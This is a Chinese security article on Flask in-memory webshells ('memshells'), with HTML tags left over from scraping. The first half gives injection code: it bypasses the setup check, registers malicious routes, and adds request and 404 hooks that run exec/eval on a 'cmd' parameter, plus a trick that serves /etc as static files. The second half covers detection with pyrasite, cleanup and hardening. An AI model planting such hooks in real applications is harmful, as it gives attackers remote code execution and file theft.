Flask内存马攻击与防御技术详解<\/h1>

一、Flask内存马攻击技术<\/h2>

1.1 内存马基本原理<\/h3>
Flask内存马是通过动态代码注入的方式存在于内存中，利用Flask应用的生命周期和钩子函数来隐藏自身行为的恶意代码。与传统的文件型Webshell不同，内存马不依赖磁盘文件，更难被传统安全防护手段检测。<\/p>

1.2 高版本Flask内存马注入技术<\/h3>

1.2.1 通过
app.view_functions<\/code>注入<\/h4>
在高版本Flask中，add_url_rule<\/code>方法被@setupmethod<\/code>装饰器保护，该装饰器会先调用app._check_setup_finished<\/code>。因此需要：<\/p>
app.<\/span>_got_first_request =<\/span> False<\/span>  # 解除setup限制<\/span>
<\/span><\/span><\/code><\/pre>然后可以通过以下方式添加恶意路由：<\/p>
app.<\/span>add_url_rule('\/malicious'<\/span>, 'malicious_endpoint'<\/span>, malicious_func)
<\/span><\/span><\/code><\/pre>或者直接操作view_functions<\/code>字典：<\/p>
app.<\/span>view_functions['malicious_endpoint'<\/span>] =<\/span> malicious_func
<\/span><\/span><\/code><\/pre>1.2.2 通过请求钩子注入<\/h4>
Flask提供了多种请求钩子，可用于注入恶意代码：<\/p>


before_request<\/strong>:<\/p>
@app<\/span>.<\/span>before_request
<\/span><\/span>def<\/span> malicious_before<\/span>():
<\/span><\/span>    if<\/span> request.<\/span>path ==<\/span> '\/trigger'<\/span>:
<\/span><\/span>        exec(request.<\/span>args.<\/span>get('cmd'<\/span>))
<\/span><\/span><\/code><\/pre><\/li>

after_request<\/strong>:<\/p>
@app<\/span>.<\/span>after_request
<\/span><\/span>def<\/span> malicious_after<\/span>(response):
<\/span><\/span>    if<\/span> 'malicious'<\/span> in<\/span> request.<\/span>cookies:
<\/span><\/span>        response.<\/span>set_data('Hacked'<\/span>)
<\/span><\/span>    return<\/span> response
<\/span><\/span><\/code><\/pre><\/li>

error_handler<\/strong>:<\/p>
@app<\/span>.<\/span>errorhandler(404<\/span>)
<\/span><\/span>def<\/span> malicious_error<\/span>(e):
<\/span><\/span>    if<\/span> request.<\/span>args.<\/span>get('cmd'<\/span>):
<\/span><\/span>        return<\/span> str(eval(request.<\/span>args.<\/span>get('cmd'<\/span>)))
<\/span><\/span>    return<\/span> e
<\/span><\/span><\/code><\/pre><\/li>
<\/ul>
1.2.3 其他注入点<\/h4>

teardown_request<\/strong>: 虽然无回显，但可执行恶意操作<\/li>
重写核心函数<\/strong>: 重写每次请求都会执行的函数<\/li>
修改Response类<\/strong>: 更改响应行为<\/li>
<\/ul>
1.3 高级技巧<\/h3>


劫持静态文件路由<\/strong>:<\/p>
app.<\/span>static_folder =<\/span> '\/etc'<\/span>  # 可读取任意文件<\/span>
<\/span><\/span><\/code><\/pre><\/li>

使用_method_route<\/strong>:<\/p>
@app<\/span>.<\/span>route("\/malicious"<\/span>, methods=<\/span>['PATCH'<\/span>, 'PUT'<\/span>])
<\/span><\/span>def<\/span> malicious_route<\/span>():
<\/span><\/span>    pass<\/span>
<\/span><\/span><\/code><\/pre><\/li>
<\/ul>
二、Flask内存马查杀技术<\/h2>
2.1 查杀工具准备<\/h3>
推荐使用pyrasite<\/code>工具进行运行时分析：<\/p>
git clone https:\/\/github.com\/pyrasite\/pyrasite
<\/span><\/span>cd pyrasite
<\/span><\/span>pip install .
<\/span><\/span><\/code><\/pre>2.2 查杀步骤<\/h3>
2.2.1 定位Flask进程<\/h4>
ps aux | grep python
<\/span><\/span># 或<\/span>
<\/span><\/span>ps aux | grep app.py
<\/span><\/span><\/code><\/pre>假设找到的PID为8。<\/p>
2.2.2 注入交互式Shell<\/h4>
pyrasite-shell 8<\/span>
<\/span><\/span><\/code><\/pre>2.2.3 分析Flask应用对象<\/h4>
在注入的Shell中：<\/p>
# 查找应用对象<\/span>
<\/span><\/span>app =<\/span> [v for<\/span> v in<\/span> globals().<\/span>values() if<\/span> isinstance(v, Flask)][0<\/span>]
<\/span><\/span>
<\/span><\/span># 检查路由<\/span>
<\/span><\/span>print(app.<\/span>url_map)
<\/span><\/span>
<\/span><\/span># 检查视图函数<\/span>
<\/span><\/span>print(app.<\/span>view_functions)
<\/span><\/span>
<\/span><\/span># 检查before_request钩子<\/span>
<\/span><\/span>print(app.<\/span>before_request_funcs)
<\/span><\/span>
<\/span><\/span># 检查after_request钩子<\/span>
<\/span><\/span>print(app.<\/span>after_request_funcs)
<\/span><\/span>
<\/span><\/span># 检查错误处理器<\/span>
<\/span><\/span>print(app.<\/span>error_handler_spec)
<\/span><\/span><\/code><\/pre>2.2.4 深度分析可疑函数<\/h4>
import<\/span> dis
<\/span><\/span>
<\/span><\/span># 反汇编可疑函数<\/span>
<\/span><\/span>dis.<\/span>dis(app.<\/span>view_functions['malicious_endpoint'<\/span>])
<\/span><\/span>
<\/span><\/span># 检查函数源码<\/span>
<\/span><\/span>import<\/span> inspect
<\/span><\/span>print(inspect.<\/span>getsource(app.<\/span>view_functions['malicious_endpoint'<\/span>]))
<\/span><\/span><\/code><\/pre>2.3 清除恶意代码<\/h3>
# 删除恶意路由<\/span>
<\/span><\/span>del<\/span> app.<\/span>view_functions['malicious_endpoint'<\/span>]
<\/span><\/span>
<\/span><\/span># 清除before_request钩子<\/span>
<\/span><\/span>app.<\/span>before_request_funcs =<\/span> {}
<\/span><\/span>
<\/span><\/span># 清除after_request钩子<\/span>
<\/span><\/span>app.<\/span>after_request_funcs =<\/span> {}
<\/span><\/span>
<\/span><\/span># 重置错误处理器<\/span>
<\/span><\/span>app.<\/span>error_handler_spec =<\/span> {}
<\/span><\/span><\/code><\/pre>三、防御建议<\/h2>

代码审计<\/strong>: 定期检查Flask应用代码，特别是动态路由和钩子函数<\/li>
进程监控<\/strong>: 监控Python进程的异常行为<\/li>
最小权限<\/strong>: Flask应用以最小必要权限运行<\/li>
依赖安全<\/strong>: 保持Flask及其依赖库的最新版本<\/li>
运行时保护<\/strong>: 使用RASP(运行时应用自我保护)技术<\/li>
日志审计<\/strong>: 详细记录所有请求和异常<\/li>
<\/ol>
四、实用工具<\/h2>


PyMemShell<\/strong>: Python内存马管理工具<\/p>
git clone https:\/\/github.com\/orzchen\/PyMemShell
<\/span><\/span><\/code><\/pre><\/li>

Flask-Unsign<\/strong>: 检测Flask会话伪造<\/p>
<\/li>

Werkzeug Debugger Pin<\/strong>: 确保调试器安全<\/p>
<\/li>
<\/ul>
通过以上技术和方法，可以有效检测和防御Flask内存马攻击，保障Web应用安全。<\/p>